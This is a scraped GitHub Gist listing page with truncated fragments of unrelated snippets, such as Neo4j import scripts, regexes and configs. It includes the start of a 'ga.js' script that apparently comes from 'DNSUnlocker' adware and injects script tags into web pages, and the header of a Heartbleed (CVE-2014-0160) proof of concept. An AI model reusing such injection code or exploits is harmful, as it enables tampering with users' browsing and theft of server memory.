Skip to content

Instantly share code, notes, and snippets.

View how-to-make-a-racist-ai-without-really-trying.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
jexp /
Last active May 10, 2021
Panama Papers Import Scripts for Neo4j
export NEO4J_HOME=${NEO4J_HOME-~/Downloads/neo4j-community-3.0.1}
if [ ! -f ]; then
curl -OL
export DATA=${PWD}/import
rm -rf $DATA
kokes / EU_Fondy.ipynb
Last active Jul 11, 2016
První nástřel tabulkování eurofondů
View EU_Fondy.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View 01-dns-query.txt
$ dig @
; <<>> DiG 9.8.3-P1 <<>> @
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23476
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
; IN A
View ga.js
$ curl
/* 64/9/AT */
window._rvz9560x1009 = {'publisher_subid':'64001', 'addonname': 'DNSUnlocker'};
window._rvz9560x1010 = {'publisher_subid':'64001', 'addonname': 'DNSUnlocker'};
(function() {
var gtprv = {
isIE : function () { var myNav = navigator.userAgent.toLowerCase(); return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false; },
loadJS : function (gturl) {
var dns_qcs8 = document.getElementsByTagName('script')[0];
var dns_qc8 = document.createElement('script'); dns_qc8.type='text/javascript';
View server.yaml
# Main Nginx router
image: andrewgodwin/www-router
environment: aeracode-varnish codingponies
ruario /
Last active Jun 12, 2020
How to enable HTML5 MP4 (H.264/AAC) video in Vivaldi for Linux, via an alternative FFMpeg library
takeshixx /
Last active Feb 5, 2021
OpenSSL heartbeat PoC with STARTTLS support.
#!/usr/bin/env python2
Author: takeshix <>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
import sys,struct,socket
from argparse import ArgumentParser
Synthetica9 /
Last active May 16, 2016
An interpeter for pyg, the golfed python. Fully backwards compatible with python.
#A golfed python 'accent'. Fully backwards compatible with python.
#If you DO use it for a production (non-challenge/codegolf) program, I'm not
#responsible for anything bad that happens to you, your computer,
#your spare time, your code maintainability, any kittens that god might kill,
#or the tears of blood you will weep.
import sys
from math import *
msgre /
Created Sep 30, 2012
Texy typoška
import re
# sada regularnich vyrazu pro lepsi typosku
# zdroj: texy-2.1/texy/modules/TexyTypographyModule.php
TEXY_CHARS = ur'A-Za-z\u00C0-\u02FF\u0370-\u1EFF'
(re.compile(ur'(?<![.\u2026])\.{3,4}(?![.\u2026])', re.M | re.U), u"\u2026"), # ellipsis ...
(re.compile(ur'(?<=[\d ])-(?=[\d ]|$)'), u"\u2013"), # en dash 123-123
(re.compile(ur'(?<=[^!*+,/:;<=>@\\\\_|-])--(?=[^!*+,/:;<=>@\\\\_|-])'), u"\u2013"), # en dash alphanum--alphanum